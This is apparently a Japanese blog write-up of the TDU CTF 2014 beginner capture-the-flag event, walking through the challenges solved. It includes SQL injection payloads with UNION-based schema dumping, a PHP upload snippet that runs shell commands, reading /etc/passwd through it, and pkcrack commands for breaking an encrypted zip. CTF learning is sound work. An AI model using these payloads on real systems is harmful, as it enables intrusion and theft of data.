sonickun.log

備忘録

TDU CTF 2014 Satellite in ConoHa ― Write-up

 TDU CTF 2014 Satellite in ConoHaに参加した。結果は1000点くらい(覚えていない)で15位くらい(覚えていない)だった。上位の人達を見てみると、GEKI-YABAな人たちが名を連ねていた。

connpass.com

Write-up

EasySQLi Challenge

 SQLインジェクションの問題。Webサイトの入力フォームに"(ダブルクオート)などを入力するとSQLエラーが表示され、SQLiが可能であることがわかる。"or "1"="1を入力するとテーブルの情報がすべて表示されるが、フラグはない。フラグは別のテーブルにあると思い、" OR 1=1 UNION SELECT sql, 1 FROM sqlite_master;--を入力してスキーマ情報を抜き取る。

CREATE TABLE "ok_flag_is_here"(title varchar(48), body varchar(256))
CREATE TABLE flagTable(title varchar(48), body varchar(256))
CREATE TABLE questionTable(title varchar(48), body varchar(256))

 "ok_flag_is_here"とflagTableというテーブルがあるので、" OR 1=1 UNION SELECT title, body FROM "ok_flag_is_here";--" OR 1=1 UNION SELECT title, body FROM flagTable;--でフラグが2つ得られた。
 テーブルの中にURLがあり、そこに移動するとステージ2のページが現れる。こちらはMySQLであることがわかったので、" or "1"="1";#で3つ目のフラグが得られた。ただフラグの文字列は白塗りされており見つけくくなっていた。一応" UNION ALL (SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES) ;#スキーマ情報を抜くことはできたがこの先にフラグはあったのだろうか。

Simple Uploder

 ウェブサイトからサーバへ任意のファイルがアップロードできるようになっている。phpファイルをアップロードすれば実行してくれるのかなーと思い、HelloWorldなプログラムを送ったらやはり実行された。つまりは任意のコードのが実行できるということなので、以下のようにls -lをするプログラムを送る。

<?php
    $command = 'ls -l';
    $output = shell_exec("{$command}  2>&1");
    print_r ($output);
?>

 すると、参加者がアップロードしたファイルの中に一つだけ更新日時の古いPNGファイルを見つけたので、これを表示させる。

<?php	
    $image_path = './dc3db649f63cc360174b2ea7e470ee40.png';
    header('Content-Type: image/jpeg');
    readfile($image_path);
?>

f:id:sonickun:20150329224613p:plain

 これで1つ目のフラグをゲット。さらに先ほどのプログラムを使ってcat /etc/passwdを実行したところ、passwdファイルの中に2つ目のフラグがあった。

SUPER ULTIMATE COOL SECURE NOTING SYSTEM

 adminのログイン画面でuserに"or "1"="1を入力するとログインができ、1つ目のフラグが得られる。2つ目のフラグはadminのパスワードとの事だったので、ブラインドSQLiかなと思ったところで断念。後で聞いた話によるとSearchのところからSQLiでパスワードが得られたらしい。

Developer! Developer! Developer!

 暗号化されたzipファイル(question.zip)が渡される。中にはflag.txt(1KB)とSteve_ballmer_2007_outdoors2.jpg(295KB)があることがわかったので、Steve_ballmer_2007_outdoors2.jpgが手に入れば既知平文攻撃ができるなと思った。ファイル名でググったらすぐ出てきたのでここからダウンロードする。既知平文攻撃にはpkcrackをつかう。pkcrackは32bit WindowsLinuxで動作するが、なぜかWindowsでは解凍できなかった。Linux上で以下のコマンドでフラグを得た。

$ pkcrack -C question.zip -c Steve_ballmer_2007_outdoors2.jpg -p Steve_ballmer_2007_outdoors2.jpg -d target.zip
$ unzip target.zip
$ cat flag.txt

Trip Picture

 20150223_Kyoto.jpgというJPEGファイルが渡される。stringsコマンドとgrepで"TDU"という文字を探したらフラグを見つけた。

読めない文字1

 BASE64な文字が渡された。文字を2回デコードしたところフラグが得られた。

unknown file

 3B14EA88FCDB58239928D829DD5182E23D866255というASCII textのファイルが渡される。Trip Pictureと同様stringsとgrepでフラグを見つけた。

柚子胡椒 Vol.1

 bluetooth.pcapというpcapファイルが渡される。bluetoothのパケットうわぁ…とおもったがstringsとgrepでフラグが得られたので結局中身を見ていない。

Evidence

 RawImageというイメージファイルが渡される。FTK Imagerでマウントして中身を見ると、"!oc.pdf"というPDFファイルを見つけたのでこれをエクスポートして開いたらフラグが得られた。

misc

 覚えてません ;)


所感

 初心者向け(?)のCTFなだけあって、たくさん問題が解けて楽しかった。確実に解かなければならない問題をしっかり解けたのは良かった。ただ得意なはずのNetwork問題で見たことがないパケットが出てきて解けなかったのは辛かった。いつものことながらbinary系の問題を敬遠してしまったので、後でしっかり解こうと思う。
 運営の皆様、ありがとうございました!